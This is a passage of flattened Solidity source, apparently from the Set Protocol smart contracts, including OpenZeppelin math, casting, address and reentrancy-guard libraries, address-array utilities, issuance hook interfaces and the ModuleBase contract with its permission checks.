_setToken.getDefaultPositionRealUnit(address(_component)).toUint256(); require( // Use preciseMulCeil to increase lower bound and maintain over-collateralization newComponentBalance >= _finalSetSupply.preciseMulCeil(defaultPositionUnit), "Invalid transfer out. Results in undercollateralization" ); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; /** * @title AddressArrayUtils * @author Set Protocol * * Utility functions to handle Address Arrays * * CHANGELOG: * - 4/21/21: Added validatePairsWithArray methods */ library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns(bool) { require(A.length > 0, "A is empty"); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { (address[] memory _A,) = pop(A, index); return _A; } } /** * @param A The input array to search * @param a The address to remove */ function removeStorage(address[] storage A, address a) internal { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here if (index != lastIndex) { A[index] = A[lastIndex]; } A.pop(); } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, "Index must be < A length"); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; address[] memory newAddresses = new address[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newAddresses[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newAddresses[aLength + j] = B[j]; } return newAddresses; } /** * Validate that address and uint array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of uint */ function validatePairsWithArray(address[] memory A, uint[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and bool array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of bool */ function validatePairsWithArray(address[] memory A, bool[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and string array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of strings */ function validatePairsWithArray(address[] memory A, string[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address array lengths match, and calling address array are not empty * and contain no duplicate elements. * * @param A Array of addresses * @param B Array of addresses */ function validatePairsWithArray(address[] memory A, address[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and bytes array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of bytes */ function validatePairsWithArray(address[] memory A, bytes[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate address array is not empty and contains no duplicate elements. * * @param A Array of addresses */ function _validateLengthAndUniqueness(address[] memory A) internal pure { require(A.length > 0, "Array length must be > 0"); require(!hasDuplicate(A), "Cannot duplicate addresses"); } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { ISetToken } from "./ISetToken.sol"; interface IManagerIssuanceHook { function invokePreIssueHook(ISetToken _setToken, uint256 _issueQuantity, address _sender, address _to) external; function invokePreRedeemHook(ISetToken _setToken, uint256 _redeemQuantity, address _sender, address _to) external; } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { ISetToken } from "./ISetToken.sol"; /** * CHANGELOG: * - Added a module level issue hook that can be used to set state ahead of component level * issue hooks */ interface IModuleIssuanceHook { function moduleIssueHook(ISetToken _setToken, uint256 _setTokenQuantity) external; function moduleRedeemHook(ISetToken _setToken, uint256 _setTokenQuantity) external; function componentIssueHook( ISetToken _setToken, uint256 _setTokenQuantity, IERC20 _component, bool _isEquity ) external; function componentRedeemHook( ISetToken _setToken, uint256 _setTokenQuantity, IERC20 _component, bool _isEquity ) external; } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { AddressArrayUtils } from "../../lib/AddressArrayUtils.sol"; import { ExplicitERC20 } from "../../lib/ExplicitERC20.sol"; import { IController } from "../../interfaces/IController.sol"; import { IModule } from "../../interfaces/IModule.sol"; import { ISetToken } from "../../interfaces/ISetToken.sol"; import { Invoke } from "./Invoke.sol"; import { Position } from "./Position.sol"; import { PreciseUnitMath } from "../../lib/PreciseUnitMath.sol"; import { ResourceIdentifier } from "./ResourceIdentifier.sol"; import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; /** * @title ModuleBase * @author Set Protocol * * Abstract class that houses common Module-related state and functions. * * CHANGELOG: * - 4/21/21: Delegated modifier logic to internal helpers to reduce contract size * */ abstract contract ModuleBase is IModule { using AddressArrayUtils for address[]; using Invoke for ISetToken; using Position for ISetToken; using PreciseUnitMath for uint256; using ResourceIdentifier for IController; using SafeCast for int256; using SafeCast for uint256; using SafeMath for uint256; using SignedSafeMath for int256; /* ============ State Variables ============ */ // Address of the controller IController public controller; /* ============ Modifiers ============ */ modifier onlyManagerAndValidSet(ISetToken _setToken) { _validateOnlyManagerAndValidSet(_setToken); _; } modifier onlySetManager(ISetToken _setToken, address _caller) { _validateOnlySetManager(_setToken, _caller); _; } modifier onlyValidAndInitializedSet(ISetToken _setToken) { _validateOnlyValidAndInitializedSet(_setToken); _; } /** * Throws if the sender is not a SetToken's module or module not enabled */ modifier onlyModule(ISetToken _setToken) { _validateOnlyModule(_setToken); _; } /** * Utilized during module initializations to check that the module is in pending state * and that the SetToken is valid */ modifier onlyValidAndPendingSet(ISetToken _setToken) { _validateOnlyValidAndPendingSet(_setToken); _; } /* ============ Constructor ============ */ /** * Set state variables and map asset pairs to their oracles * * @param _controller Address of controller contract */ constructor(IController _controller) public { controller = _controller; } /* ============ Internal Functions ============ */ /** * Transfers tokens from an address (that has set allowance on the module). * * @param _token The address of the ERC20 token * @param _from The address to transfer from * @param _to The address to transfer to * @param _quantity The number of tokens to transfer */ function transferFrom(IERC20 _token, address _from, address _to, uint256 _quantity) internal { ExplicitERC20.transferFrom(_token, _from, _to, _quantity); } /** * Gets the integration for the module with the passed in name. Validates that the address is not empty */ function getAndValidateAdapter(string memory _integrationName) internal view returns(address) { bytes32 integrationHash = getNameHash(_integrationName); return getAndValidateAdapterWithHash(integrationHash); } /** * Gets the integration for the module with the passed in hash. Validates that the address is not empty */ function getAndValidateAdapterWithHash(bytes32 _integrationHash) internal view returns(address) { address adapter = controller.getIntegrationRegistry().getIntegrationAdapterWithHash( address(this), _integrationHash ); require(adapter != address(0), "Must be valid adapter"); return adapter; } /** * Gets the total fee for this module of the passed in index (fee % * quantity) */ function getModuleFee(uint256 _feeIndex, uint256 _quantity) internal view returns(uint256) { uint256 feePercentage = controller.getModuleFee(address(this), _feeIndex); return _quantity.preciseMul(feePercentage); } /** * Pays the _feeQuantity from the _setToken denominated in _token to the protocol fee recipient */ function payProtocolFeeFromSetToken(ISetToken _setToken, address _token, uint256 _feeQuantity) internal { if (_feeQuantity > 0) { _setToken.strictInvokeTransfer(_token, controller.feeRecipient(), _feeQuantity); } } /** * Returns true if the module is in process of initialization on the SetToken */ function isSetPendingInitialization(ISetToken _setToken) internal view returns(bool) { return _setToken.isPendingModule(address(this)); } /** * Returns true if the address is the SetToken's manager */ function isSetManager(ISetToken _setToken, address _toCheck) internal view returns(bool) { return _setToken.manager() == _toCheck; } /** * Returns true if SetToken must be enabled on the controller * and module is registered on the SetToken */ function isSetValidAndInitialized(ISetToken _setToken) internal view returns(bool) { return controller.isSet(address(_setToken)) && _setToken.isInitializedModule(address(this)); } /** * Hashes the string and returns a bytes32 value */ function getNameHash(string memory _name) internal pure returns(bytes32) { return keccak256(bytes(_name)); } /* ============== Modifier Helpers =============== * Internal functions used to reduce bytecode size */ /** * Caller must SetToken manager and SetToken must be valid and initialized */ function _validateOnlyManagerAndValidSet(ISetToken _setToken) internal view { require(isSetManager(_setToken, msg.sender), "Must be the SetToken manager"); require(isSetValidAndInitialized(_setToken), "Must be a valid and initialized SetToken"); } /** * Caller must SetToken manager */ function _validateOnlySetManager(ISetToken _setToken, address _caller) internal view { require(isSetManager(_setToken, _caller), "Must be the SetToken manager"); } /** * SetToken must be valid and initialized */ function _validateOnlyValidAndInitializedSet(ISetToken _setToken) internal view { require(isSetValidAndInitialized(_setToken), "Must be a valid and initialized SetToken"); } /** * Caller must be initialized module and module must be enabled on the controller */ function _validateOnlyModule(ISetToken _setToken) internal view { require( _setToken.moduleStates(msg.sender) == ISetToken.ModuleState.INITIALIZED, "Only the module can call" ); require( controller.isModule(msg.sender), "Module must be enabled on controller" ); } /** * SetToken must be in a pending state and module must be in pending state */ function _validateOnlyValidAndPendingSet(ISetToken _setToken) internal view { require(controller.isSet(address(_setToken)), "Must be controller-enabled SetToken"); require(isSetPendingInitialization(_setToken), "Must be pending initialization"); } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; import { ISetToken } from "../../interfaces/ISetToken.sol"; import { PreciseUnitMath } from "../../lib/PreciseUnitMath.sol"; /** * @title Position * @author Set Protocol * * Collection of helper functions for handling and updating SetToken Positions * * CHANGELOG: * - Updated editExternalPosition to work when no external position is associated with module */ library Position { using SafeCast for uint256; using SafeMath for uint256; using SafeCast for int256; using SignedSafeMath for int256; using PreciseUnitMath for uint256; /* ============ Helper ============ */ /** * Returns whether the SetToken has a default position for a given component (if the real unit is > 0) */ function hasDefaultPosition(ISetToken _setToken, address _component) internal view returns(bool) { return _setToken.getDefaultPositionRealUnit(_component) > 0; } /** * Returns whether the SetToken has an external position for a given component (if # of position modules is > 0) */ function hasExternalPosition(ISetToken _setToken, address _component) internal view returns(bool) { return _setToken.getExternalPositionModules(_component).length > 0; } /** * Returns whether the SetToken component default position real unit is greater than or equal to units passed in. */ function hasSufficientDefaultUnits(ISetToken _setToken, address _component, uint256 _unit) internal view returns(bool) { return _setToken.getDefaultPositionRealUnit(_component) >= _unit.toInt256(); } /** * Returns whether the SetToken component external position is greater than or equal to the real units passed in. */ function hasSufficientExternalUnits( ISetToken _setToken, address _component, address _positionModule, uint256 _unit ) internal view returns(bool) { return _setToken.getExternalPositionRealUnit(_component, _positionModule) >= _unit.toInt256(); } /** * If the position does not exist, create a new Position and add to the SetToken. If it already exists, * then set the position units. If the new units is 0, remove the position. Handles adding/removing of * components where needed (in light of potential external positions). * * @param _setToken Address of SetToken being modified * @param _component Address of the component * @param _newUnit Quantity of Position units - must be >= 0 */ function editDefaultPosition(ISetToken _setToken, address _component, uint256 _newUnit) internal { bool isPositionFound = 